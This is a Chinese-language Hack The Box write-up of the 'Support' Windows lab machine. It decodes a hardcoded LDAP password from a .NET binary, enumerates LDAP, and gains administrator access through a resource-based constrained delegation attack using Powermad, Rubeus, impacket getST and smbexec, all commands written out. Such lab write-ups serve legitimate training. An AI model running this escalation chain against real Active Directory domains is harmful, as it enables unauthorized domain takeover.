【Hack The Box】windows练习-- support

HTB 学习笔记

【Hack The Box】windows练习-- support


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

dns,ker,rpc,smb,winrm

DC 域名“support.htb”

我看smb

在这里插入图片描述发现了很多的工具,都是通用的,也就是正常的,只有一个UserInfo.exe.zip
没有这么个软件,所以我将对他进行分析

下载所有文件到我本地查看

SMB:> mask ""
SMB:> recurse ON
SMB:> prompt OFF
SMB:> mget *
https://github.com/dnSpy/dnSpy/releases/tag/v6.1.8

去到自己的windows主机
发现了ldap的配置
然后只直接全部复制到随便哪里,搜索一些敏感字即可发现password
在这里插入图片描述

namespace UserInfo.Services
{
	// Token: 0x02000006 RID: 6
	internal class Protected
	{
		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
		public static string getPassword()
		{
			byte[] array = Convert.FromBase64String(Protected.enc_password);
			byte[] array2 = array;
			for (int i = 0; i < array.Length; i++)
			{
				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
			}
			return Encoding.Default.GetString(array2);
		}

		// Token: 0x04000005 RID: 5
		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

		// Token: 0x04000006 RID: 6
		private static byte[] key = Encoding.ASCII.GetBytes("armando");
	}

但是密码有加密,我们翻到最下面发现了

1. 加密规则
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
2. 加密密钥
private static byte[] key = Encoding.ASCII.GetBytes("armando");
3. 初始的密码
"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = "armando".encode("UTF-8") 
array = base64.b64decode(enc_password)
array2 = ""
for i in range(len(array)):
    array2 += chr(array[i] ^ key[i % len(key)] ^ 223) 
print(array2)

在这里插入图片描述
得到了密码,虽然我感觉不太对,这也太不正常了

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

那么现在我拥有了ldap的凭证

我需要找到一个用户

ldapsearch -D support\\ldap -H ldap://10.129.14.124 -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | grep info:

在这里插入图片描述

登陆

winrm登陆

上传SharpHound.exe
./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

基于 Kerberos 资源的约束委派

服务器端

将新的假计算机对象添加到 AD。
使用约束委派权限设置新的假计算机对象。
为新的假计算机生成密码哈希。 

在这里插入图片描述
在这里插入图片描述
全攻击步骤如下

1. 上传文件
upload /home/user/Tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/Tools/Ghostpack-CompiledBinaries/Rubeus.exe r.exe
Import-Module ./pm.ps1

2.设置参数
Set-Variable -Name "FakePC" -Value "FAKE01"
Set-Variable -Name "targetComputer" -Value "DC"

3.添加一个新用户
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

4.给权限
Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')

5.检查是否工作
Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount

6. 生成hash,aes256
./r.exe hash /password:123456 /user:FAKE01$ /domain:support.htb

7. 以下kali执行-本机获取TGT票据
getST.py support.htb/FAKE01 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 35CE465C01BC1577DE3410452165E5244779C17B64E6D89459C1EC3C8DAA362B

8.添加票据
export KRB5CCNAME=administrator.ccache

9.smbexec.py support.htb/administrator@dc.support.htb -no-pass -k

在这里插入图片描述

让我们为“fake01”计算机主体创建一个新的原始安全描述符。 请记住将 SID 更改为您刚刚找到的值以及 DomainComputer 的主机名。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-1000)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

记得将 support.htb 和 dc.support.htb 添加到 /etc/hosts 文件中

在这里插入图片描述

#使用Impacket中的getTGT,生成ccached TGT,并使用KERB5CCNAME为请求的服务传递ccache文件。 

impacket-getST support.htb/fake01:123456 -dc-ip 10.129.14.217 -impersonate administrator -spn www/dc.support.htb

#设置KERB5CCNAME的局部变量以传递请求服务的ccache TGT文件。 

export KRB5CCNAME=administrator.ccache



#使用smbexec。py连接到我们刚刚作为用户管理员对服务器进行的TGT 

smbexec.py support.htb/administrator@dc.support.htb -no-pass -k

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值